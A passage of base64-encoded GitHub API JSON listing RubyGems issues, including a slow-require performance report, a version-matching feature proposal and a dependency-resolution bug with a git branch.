gbWVcbndoaWxlIGluc3RhbGxpbmcgYSBnZW0gYXMgcm9vdCBmcm9tIGEgd29ya2luZyBkaXJlY3RvcnkgdGhhdCBoYXBwZWQgdG9cbmJlIGluc2lkZSBhIEZVU0UgZmlsZXN5c3RlbSB0aGF0IHJvb3QgY291bGRuJ3Qgc2VlLilcblxuSW4gdGhpcyBjYXNlLCBydWJ5Z2VtcyB3aWxsIGNvbXBpbGUgc3FsaXRlMydzIGV4dGVuc2lvbnMgY29ycmVjdGx5LCBhbmRcbnRoZW4gdHJ5IHRvIHJldHVybiB0byB0aGUgcHJldmlvdXMgd29ya2luZyBkaXJlY3RvcnksIHdoaWNoIHdpbGwgcmFpc2VcbmFuIEVycm5vOjpFQUNDRVMsIHdoaWNoIHdpbGwgdHJpZ2dlciB0aGUgcmVzY3VlIGJsb2NrIHRoYXQgaXMgaW50ZW5kZWRcbnRvIHJlcG9ydCBidWlsZCBmYWlsdXJlcy4gIFRoaXMgcGF0Y2ggYm91bmNlcyBiYWNrIHRvIGRlc3RfZGlyIGluIHRoYXRcbmNhc2UsIHdoaWNoIGFsbG93cyBpbnN0YWxsYXRpb24gdG8gcHJvY2VlZCBhcyBub3JtYWwuXG4ifSx7InVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzEwNzYiLCJyZXBvc2l0b3J5X3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMiLCJsYWJlbHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTA3Ni9sYWJlbHN7L25hbWV9IiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTA3Ni9jb21tZW50cyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xMDc2L2V2ZW50cyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xMDc2IiwiaWQiOjUwMTA0OTM3LCJudW1iZXIiOjEwNzYsInRpdGxlIjoiVGltZSB0byByZXF1aXJlIGdlbXMgaW5jcmVhc2VzIHNpZ25pZmljYW50bHkgd2l0aCBtYW55IGluc3RhbGxlZCBnZW1zIiwidXNlciI6eyJsb2dpbiI6ImFhc21pdGgiLCJpZCI6MTI0ODQsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMyLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzEyNDg0P3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9hYXNtaXRoIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vYWFzbWl0aCIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2Fhc21pdGgvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYWFzbWl0aC9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9hYXNtaXRoL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9hYXNtaXRoL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYWFzbWl0aC9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2Fhc21pdGgvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYWFzbWl0aC9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2Fhc21pdGgvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2Fhc21pdGgvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImxhYmVscyI6W3siaWQiOjMxOTU0MTYzMCwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9sYWJlbHMvcGVyZm9ybWFuY2UiLCJuYW1lIjoicGVyZm9ybWFuY2UiLCJjb2xvciI6ImRkMDBkZCIsImRlZmF1bHQiOmZhbHNlfSx7ImlkIjozMDc4ODEwMTEsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvbGFiZWxzL3N0YXR1czolMjByZWFkeSIsIm5hbWUiOiJzdGF0dXM6IHJlYWR5IiwiY29sb3IiOiJmZWYyYzAiLCJkZWZhdWx0IjpmYWxzZX0seyJpZCI6MTEyMjMwLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2xhYmVscy90eXBlOiUyMGJ1ZyUyMHJlcG9ydCIsIm5hbWUiOiJ0eXBlOiBidWcgcmVwb3J0IiwiY29sb3IiOiJiZmU1YmYiLCJkZWZhdWx0IjpmYWxzZX1dLCJzdGF0ZSI6Im9wZW4iLCJsb2NrZWQiOmZhbHNlLCJhc3NpZ25lZSI6bnVsbCwiYXNzaWduZWVzIjpbXSwibWlsZXN0b25lIjpudWxsLCJjb21tZW50cyI6MTcsImNyZWF0ZWRfYXQiOiIyMDE0LTExLTI2VDAwOjUzOjMwWiIsInVwZGF0ZWRfYXQiOiIyMDE3LTEyLTI1VDA1OjU1OjUzWiIsImNsb3NlZF9hdCI6bnVsbCwiYXV0aG9yX2Fzc29jaWF0aW9uIjoiTk9ORSIsImJvZHkiOiJJdCBzZWVtcyBgcmVxdWlyZWAgYmVjb21lcyBzaWduaWZpY2FudGx5IHNsb3dlciBvbmNlIEkgaGF2ZSBhIGNlcnRhaW4gbnVtYmVyIG9mIGdlbXMgaW5zdGFsbGVkLlxuIyMgU3RlcHMgdG8gUmVwcm9kdWNlXG5cbkNyZWF0ZSBhIHNpbXBsZSBnZW0gJ2ZvbycgKEkgdXNlZCBgYnVuZGxlIGdlbSBmb29gKSwgd2l0aCBhIGBiaW4vZm9vYCBjb250YWluaW5nOlxuXG5gYGAgcnVieVxucyA9IFRpbWUubm93XG5yZXF1aXJlICd5YW1sJ1xucHV0cyBUaW1lLm5vdy1zXG5gYGBcblxuRW5zdXJlIGl0IGhhcyBzb21lIGRlcGVuZGVuY2llcy4gSSBhZGRlZCB0aGVzZSB0byBgZm9vLmdlbXNwZWNgOlxuXG5gYGAgcnVieVxuICBzcGVjLmFkZF9kZXBlbmRlbmN5IFwiY29tbWFuZGVyXCJcbiAgc3BlYy5hZGRfZGVwZW5kZW5jeSBcImdpdFwiXG4gIHNwZWMuYWRkX2RlcGVuZGVuY3kgXCJjb2xvcmVkXCJcbiAgc3BlYy5hZGRfZGVwZW5kZW5jeSBcImNhcHliYXJhXCJcbiAgc3BlYy5hZGRfZGVwZW5kZW5jeSBcInNlbGVuaXVtLXdlYmRyaXZlclwiXG4gIHNwZWMuYWRkX2RlcGVuZGVuY3kgXCJwcnlcIlxuICBzcGVjLmFkZF9kZXBlbmRlbmN5IFwicnVieTJydWJ5XCJcbmBgYFxuXG5JbnN0YWxsIHRoZSBnZW0sIGFuZCBub3RpY2UgdGhhdCBpdCBleGVjdXRlcyB2ZXJ5IHF1aWNrbHk6XG5cbmBgYFxuYWFzbWl0aCQgdGltZSBmb29cbjAuMDE2NTM5XG5cbnJlYWwgIDBtMC41NDRzXG51c2VyICAwbTAuNDU4c1xuc3lzICAgMG0wLjA4MnNcbmBgYFxuXG5JbnN0YWxsIGxvdHMgb2YgZ2Vtcy4gTXkgc3lzdGVtIGhhcyB+MzgwIGdlbXNwZWNzIGluIHRoZSBzeXN0ZW0gZ2VtIHNwZWNpZmljYXRpb25zIGRpci5cblxuTm90ZSB0aGF0IHRpbWUgdG8gcnVuIGBmb29gIGhhcyBiYWxsb29uZWQ6XG5cbmBgYFxuYWFzbWl0aCQgdGltZSBmb29cbjAuNzkyOTU5XG5cbnJlYWwgIDBtMS4wNDhzXG51c2VyICAwbTAuOTM5c1xuc3lzICAgMG0wLjEwN3NcbmBgYFxuIyMgU25pZmZpbmcgc28gZmFyXG5cbkkgbW92ZWQgYWxsIGJ1dCB0aGUgMjcgcmVxdWlyZWQgZ2Vtc3BlY3MgZnJvbSB0aGUgc3BlY2lmaWNhdGlvbnMgZGlyIHRvIGEgdGVtcCBkaXIgYHhgLCBhbmQgcmFuIGEgc2NyaXB0IHRvIGFkZCBhbGwgb2YgdGhlbSBiYWNrLCBpbiByYW5kb20gb3JkZXIsIG9uZSBhIHRpbWUsIHJ1bm5pbmcgYHRpbWUgZm9vYCBlYWNoIHRpbWUuXG5cblRoZSByZXN1bHRzIG9mIHRoZXNlIHJ1bnMgYXJlIGF0OlxuXG5odHRwczovL2dpc3QuZ2l0aHViLmNvbS9hYXNtaXRoLzU3MTA5YjNiOTEyZGZmMTY1ODZmXG5cbkkgYWxzbyBncmFwaGVkIHRoZXNlIHJ1bnMsIHJlc3BlY3RpdmVseTpcblxuIVtpbWFnZV0oaHR0cHM6Ly9jbG91ZC5naXRodWJ1c2VyY29udGVudC5jb20vYXNzZXRzLzEyNDg0LzUxOTQ0OTQvY2NiZWU2NjYtNzRjMi0xMWU0LThlMzUtYWRjODY4NGU1NTc2LnBuZylcblxuIVtpbWFnZV0oaHR0cHM6Ly9jbG91ZC5naXRodWJ1c2VyY29udGVudC5jb20vYXNzZXRzLzEyNDg0LzUxOTQ0OTYvZDFjMDhiZWMtNzRjMi0xMWU0LThhZWEtYmM5MDg0ZjYxMzAyLnBuZylcblxuKFRpbWUgdG8gZXhlY3V0ZSBpbiBzZWNvbmRzIHZzIG51bWJlciBvZiBnZW1zIGluc3RhbGxlZClcbiMjIFZlcnNpb25zXG5cbmBgYFxuYWFzbWl0aCQgZ2VtIC12XG4yLjQuNFxuYWFzbWl0aCQgcnVieSAtdlxucnVieSAyLjEuMnA5NSAoMjAxNC0wNS0wOCByZXZpc2lvbiA0NTg3NykgW3g4Nl82NC1kYXJ3aW4xMy4wXVxuYGBgXG4ifSx7InVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzEwNTMiLCJyZXBvc2l0b3J5X3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMiLCJsYWJlbHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTA1My9sYWJlbHN7L25hbWV9IiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTA1My9jb21tZW50cyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xMDUzL2V2ZW50cyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xMDUzIiwiaWQiOjQ2OTE1NDQ5LCJudW1iZXIiOjEwNTMsInRpdGxlIjoiU2ltcGxlciB2ZXJzaW9uIG1hdGNoaW5nIiwidXNlciI6eyJsb2dpbiI6InNlYW5saW5zbGV5IiwiaWQiOjY4ODg4NiwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczMuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvNjg4ODg2P3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWFubGluc2xleSIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3NlYW5saW5zbGV5IiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VhbmxpbnNsZXkvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VhbmxpbnNsZXkvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VhbmxpbnNsZXkvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlYW5saW5zbGV5L3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VhbmxpbnNsZXkvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWFubGluc2xleS9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWFubGluc2xleS9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlYW5saW5zbGV5L2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWFubGluc2xleS9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwibGFiZWxzIjpbeyJpZCI6MTEyMjE4LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2xhYmVscy9jYXRlZ29yeTolMjAlMjNnZW0lMjBvciUyMCUyM3JlcXVpcmUiLCJuYW1lIjoiY2F0ZWdvcnk6ICNnZW0gb3IgI3JlcXVpcmUiLCJjb2xvciI6IjBiMDJlMSIsImRlZmF1bHQiOmZhbHNlfSx7ImlkIjozMDc4ODEwMTEsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvbGFiZWxzL3N0YXR1czolMjByZWFkeSIsIm5hbWUiOiJzdGF0dXM6IHJlYWR5IiwiY29sb3IiOiJmZWYyYzAiLCJkZWZhdWx0IjpmYWxzZX0seyJpZCI6MzA1NTI0NzUwLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2xhYmVscy90eXBlOiUyMGZlYXR1cmUlMjByZXF1ZXN0IiwibmFtZSI6InR5cGU6IGZlYXR1cmUgcmVxdWVzdCIsImNvbG9yIjoiYmZlNWJmIiwiZGVmYXVsdCI6ZmFsc2V9XSwic3RhdGUiOiJvcGVuIiwibG9ja2VkIjpmYWxzZSwiYXNzaWduZWUiOm51bGwsImFzc2lnbmVlcyI6W10sIm1pbGVzdG9uZSI6bnVsbCwiY29tbWVudHMiOjUsImNyZWF0ZWRfYXQiOiIyMDE0LTEwLTI3VDE1OjAwOjAxWiIsInVwZGF0ZWRfYXQiOiIyMDE2LTA2LTA5VDA5OjIwOjExWiIsImNsb3NlZF9hdCI6bnVsbCwiYXV0aG9yX2Fzc29jaWF0aW9uIjoiTk9ORSIsImJvZHkiOiJTaW5jZSBSdWJ5Z2VtcyBkb2Vzbid0IGhhdmUgYSB3YXkgdG8gcmVxdWlyZSBvcHRpb25hbCBydW50aW1lIGRlcGVuZGVuY2llcywgd2hlbiB3b3JraW5nIG9uIHRoZSBBY3RpdmUgQWRtaW4gZ2VtIEkndmUgb2Z0ZW4gYmVlbiBmcnVzdHJhdGVkIGJ5IHRoZSBhdmFpbGFibGUgbWV0aG9kcyB0byB2ZXJzaW9uLWNoZWNrIGEgbG9hZGVkIGdlbS5cblxuSXQgc2VlbXMgbGlrZSB0aGUgY29ycmVjdCB3YXkgaXM6XG5cbmBgYCBydWJ5XG5HZW06OlJlcXVpcmVtZW50LmNyZWF0ZSgnPiAzJykuc2F0aXNmaWVkX2J5PyBHZW0ubG9hZGVkX3NwZWNzWydyYWlscyddLnZlcnNpb25cbmBgYFxuXG5Ob3QgdGhlIGVhc2llc3QgdGhpbmcgdG8gcmVtZW1iZXIsIHdoaWNoIEkgYXNzdW1lIGlzIHdoeSBJIG9mdGVuIHNlZSBkZXZlbG9wZXJzIGNvbXBhcmluZyBhZ2FpbnN0IHRoZSBzcGxpdCB2ZXJzaW9uIGNvbnN0YW50cyBSYWlscyBwcm92aWRlczpcblxuYGBgIHJ1YnlcblJhaWxzOjpWRVJTSU9OOjpNQUpPUiA+IDMgJiYgUmFpbHM6OlZFUlNJT046Ok1JTk9SID4gMlxuYGBgXG5cbk9yLCBmb3IgZ2VtcyB0aGF0IG9ubHkgaGF2ZSBhIHZlcnNpb24gc3RyaW5nOlxuXG5gYGAgcnVieVxuRHJhcGVyOjpWRVJTSU9OID4gJzEuMy4wJ1xuYGBgXG5cbkJvdGggYXBwcm9hY2hlcyBnZXQgbW9yZSBjb21wbGV4IG9mIHlvdSB3YW50IHRvIGNvcnJlY3RseSBkZWFsIHdpdGggcHJlcmVsZWFzZSB2ZXJzaW9ucywgb3IgbWF0Y2ggYSByYW5nZSBvZiB2ZXJzaW9ucy5cblxuVG8gbWFrZSBkZXZlbG9wbWVudCBlYXNpZXIgSSBidWlsdCBhbiBbYWJzdHJhY3Rpb24gbGF5ZXJdKGh0dHBzOi8vZ2l0aHViLmNvbS9hY3RpdmVhZG1pbi9hY3RpdmVhZG1pbi9ibG9iLzUwNmM0N2U3MS9saWIvYWN0aXZlX2FkbWluL2RlcGVuZGVuY3kucmIpOlxuXG5gYGAgcnVieVxuQWN0aXZlQWRtaW46OkRlcGVuZGVuY3kucmFpbHM/ICc+PSAzLjInLCAnPCA0LjInXG5cbkFjdGl2ZUFkbWluOjpEZXBlbmRlbmN5LnJhaWxzID49IDMuMlxuXG5BY3RpdmVBZG1pbjo6RGVwZW5kZW5jeS5yYWlscyEgJ34+IDQuMSdcbiMgcmFpc2VzIGFuIGV4Y2VwdGlvbjogWW91IHByb3ZpZGVkIHJhaWxzIDMuMi4xOCBidXQgd2UgbmVlZDogfj4gNC4xLlxuXG5BY3RpdmVBZG1pbjo6RGVwZW5kZW5jeS5kZXZpc2UhXG4jIHdoZW4gbm90IHByb3ZpZGVkLCByYWlzZXMgYW4gZXhjZXB0aW9uOiBUbyB1c2UgZGV2aXNlIHlvdSBuZWVkIHRvIHNwZWNpZnkgaXQgaW4geW91ciBHZW1maWxlLlxuXG5BY3RpdmVBZG1pbjo6RGVwZW5kZW5jeVsnanF1ZXJ5LXVpLXJhaWxzJ10gPCA1XG5gYGBcblxuV291bGQgdGhpcyBnZW5lcmFsIGZlYXR1cmUgc2V0IGJlIGRlc2lyYWJsZSBmb3IgUnVieWdlbXMgaXRzZWxmP1xuIn0seyJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xMDUyIiwicmVwb3NpdG9yeV91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zIiwibGFiZWxzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzEwNTIvbGFiZWxzey9uYW1lfSIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzEwNTIvY29tbWVudHMiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTA1Mi9ldmVudHMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTA1MiIsImlkIjo0NjM0MDUxNCwibnVtYmVyIjoxMDUyLCJ0aXRsZSI6IlVucmVzb2x2ZWQgZGVwZW5kZW5jeSB3aGVuIHVzaW5nIGEgcHVsbCByZXF1ZXN0IGJyYW5jaCIsInVzZXIiOnsibG9naW4iOiJyeWFuMmpvaG5zb245IiwiaWQiOjQxOTk1NDgsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMzLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzQxOTk1NDg/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J5YW4yam9obnNvbjkiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9yeWFuMmpvaG5zb245IiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnlhbjJqb2huc29uOS9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9yeWFuMmpvaG5zb245L2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J5YW4yam9obnNvbjkvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J5YW4yam9obnNvbjkvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9yeWFuMmpvaG5zb245L3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnlhbjJqb2huc29uOS9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9yeWFuMmpvaG5zb245L3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnlhbjJqb2huc29uOS9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnlhbjJqb2huc29uOS9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwibGFiZWxzIjpbeyJpZCI6MTEyMjE5LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2xhYmVscy9jYXRlZ29yeTolMjBpbnN0YWxsIiwibmFtZSI6ImNhdGVnb3J5OiBpbnN0YWxsIiwiY29sb3IiOiIwYjAyZTEiLCJkZWZhdWx0IjpmYWxzZX0seyJpZCI6MzA3ODgxMDExLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2xhYmVscy9zdGF0dXM6JTIwcmVhZHkiLCJuYW1lIjoic3RhdHVzOiByZWFkeSIsImNvbG9yIjoiZmVmMmMwIiwiZGVmYXVsdCI6ZmFsc2V9LHsiaWQiOjExMjIzMCwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9sYWJlbHMvdHlwZTolMjBidWclMjByZXBvcnQiLCJuYW1lIjoidHlwZTogYnVnIHJlcG9ydCIsImNvbG9yIjoiYmZlNWJmIiwiZGVmYXVsdCI6ZmFsc2V9XSwic3RhdGUiOiJvcGVuIiwibG9ja2VkIjpmYWxzZSwiYXNzaWduZWUiOm51bGwsImFzc2lnbmVlcyI6W10sIm1pbGVzdG9uZSI6bnVsbCwiY29tbWVudHMiOjIsImNyZWF0ZWRfYXQiOiIyMDE0LTEwLTIxVDAwOjAyOjM5WiIsInVwZGF0ZWRfYXQiOiIyMDE3LTEyLTI1VDA1OjU1OjUzWiIsImNsb3NlZF9hdCI6bnVsbCwiYXV0aG9yX2Fzc29jaWF0aW9uIjoiTk9ORSIsImJvZHkiOiJJIGNhbm5vdCB3YWl0IGZvciBhIHB1bGwgcmVxdWVzdCBvbiBhbm90aGVyIGdlbSB0byBiZSBtZXJnZWQgKG1haWwgZ2VtKSBzbyBJIHdhbnRlZCB0byBnZXQgdGhlIGdlbSBzdHJhaWdodCBmcm9tIHRoZSBicmFuY2ggZm9yIHRoZSBwdWxsIHJlcXVlc3QuXG5cbnNvIEkndmUgYWRkZWQgdGhpcyB0byBteSBnZW1maWxlOlxuXG5gYGBcbmdlbSAnbWFpbCcsIGdpdGh1YjogJ3JvYmluODUwL21haWwnLCBicmFuY2g6ICdjb21wb3NpdGlvbi1wYXJ0cy1saXN0JyBcbmBgYFxuXG5idXQgbm93IHdoZW4gbXkgY2FwaXN0cmFubyBkZXBsb3kgcnVucyB0aGlzIGNvbW1hbmQ6XG5cbnJieC0yLjIuMTAgYnVuZGxlIGV4ZWMgZ2VtIGluc3RhbGwgLS1maWxlIEdlbWZpbGVcblxuaSBnZXQgdGhlIGZvbGxvd2luZyBlcnJvclxuXG5gYGBcbmdlbSBzdGRlcnI6IEVSUk9SOiAgV2hpbGUgZXhlY3V0aW5nIGdlbSAuLi4gKEdlbTo6RGVwZW5kZW5jeUVycm9yKVxuICAgIFVucmVzb2x2ZWQgZGVwZW5kZW5jeSBmb3VuZCBkdXJpbmcgc29ydGluZyAtIG1haWwgKD49IDIuNS40LCB+PiAyLjUpIChyZXF1ZXN0ZWQgYnkgYWN0aW9ubWFpbGVyLTQuMS42KVxuYGBgXG5cblJ1bm5pbmcgYnVuZGxlIGluIG15IGRldmVsb3BtZW50IGVudmlyb25tZW50IHNlZW1zIHRvIHdvcmsgYW5kIGFkZHMgdGhpcyB0byBteSBnZW1maWxlLmxvY2tcblxuYGBgXG5yZW1vdGU6IGdpdDovL2dpdGh1Yi5jb20vcm9iaW44NTAvbWFpbC5naXRcbnJldmlzaW9uOiBhNzFmYmExNDY3Nzg3NzNjOTJiNjgzMTAwMzc2MDI3YzJlNGY3YzY3IFxuYnJhbmNoOiBjb21wb3NpdGlvbi1wYXJ0cy1saXN0XG5zcGVjczpcbiAgbWFpbCAoMi42LjIuZWRnZSlcbiAgICAgbWltZS10eXBlcyAoPj0gMS4xNiwgPCAzKVxuYGBgXG5cblNvIHRoZSBicmFuY2ggaXMgMi42LjIgZWRnZSB3aGljaCBpcyBoaWdoZXIgdGhhbiB0aGUgZGVwZW5kZW5jeSBzcGVjaWZpZWQgaW4gdGhlIGVycm9yIG1lc3NhZ2UuXG5JJ3ZlIHNlZW4gYSBzaW1pbGFyIGVycm9yIHJlc29sdmVkIG9uIHlvdXIgaXNzdWUgIzk5MCBidXQgdGhhdCBpcyBmb3IgZ2VtIHZlcnNpb25zIGVuZGluZyB3aXRoICcucHJlJy5cblxuSXMgdGhpcyBhIGJ1ZyBvciBkbyBJIHNpbXBseSBuZWVkIHRvIHdhaXQgZm9yIHRoYXQgcHVsbCByZXF1ZXN0IG9uIHRoZSBtYWlsIGdlbSB0byBiZSBtZXJnZWQgc28gdGhhdCBJIGNhbiBzcGVjaWZ5IGEgcHJvcGVyIGdlbSB2ZXJzaW9uIHJhdGhlciB0aGFuIHRoZSBnaXRodWIgYnJhbmNoP1xuIn0seyJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xMDQ5IiwicmVwb3NpdG9yeV91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zIiwibGFiZWxzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzEwNDkvbGFiZWxzey9uYW1lfSIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzEwNDkvY29tbWVudHMiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hc